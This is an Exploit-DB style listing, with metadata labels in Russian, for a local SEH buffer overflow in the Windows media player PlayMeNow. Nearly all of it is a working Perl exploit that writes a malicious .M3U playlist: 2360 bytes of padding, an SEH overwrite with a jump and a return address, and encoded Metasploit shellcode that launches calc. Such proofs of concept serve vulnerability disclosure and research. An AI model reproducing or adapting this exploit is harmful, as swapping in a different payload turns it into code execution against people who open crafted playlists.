Exploit PlayMeNow - '.M3U' Playlist Buffer Overflow (SEH)

[Exploiter]

EDB-ID

10577

Проверка EDB

1. Пройдено

Автор

THE G0BL!N

Тип уязвимости

LOCAL

Платформа

WINDOWS

CVE

N/A

Дата публикации

2009-12-21

#!/usr/bin/perl
#Greets: His0k4 :) Then His0k4 and After That His0k4
#Special Greets :01000001 01101001 01100011 01101000 01100001 00100000
##################################################################
# win32_exec - EXITFUNC=seh CMD=calc Size=158 Encoder=PexFnstenvMov http://metasploit.com
my $shellcode =
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5b\x71\xf9".
"\x90\x83\xeb\xfc\xe2\xf4\xa7\x99\xbd\x90\x5b\x71\x72\xd5\x67\xfa".
"\x85\x95\x23\x70\x16\x1b\x14\x69\x72\xcf\x7b\x70\x12\xd9\xd0\x45".
"\x72\x91\xb5\x40\x39\x09\xf7\xf5\x39\xe4\x5c\xb0\x33\x9d\x5a\xb3".
"\x12\x64\x60\x25\xdd\x94\x2e\x94\x72\xcf\x7f\x70\x12\xf6\xd0\x7d".
"\xb2\x1b\x04\x6d\xf8\x7b\xd0\x6d\x72\x91\xb0\xf8\xa5\xb4\x5f\xb2".
"\xc8\x50\x3f\xfa\xb9\xa0\xde\xb1\x81\x9c\xd0\x31\xf5\x1b\x2b\x6d".
"\x54\x1b\x33\x79\x12\x99\xd0\xf1\x49\x90\x5b\x71\x72\xf8\x67\x2e".
"\xc8\x66\x3b\x27\x70\x68\xd8\xb1\x82\xc0\x33\x81\x73\x94\x04\x19".
"\x61\x6e\xd1\x7f\xae\x6f\xbc\x12\x98\xfc\x38\x71\xf9\x90";
my $bof="\x42" x 2360;
my $next_seh="\xEB\x06\x90\x90";
my $seh="\xB8\x15\xC6\x72";
###################################################################
open(myfile,'>>exploit.m3u');
print myfile $bof.$next_seh.$seh.$shellcode;
###################################################################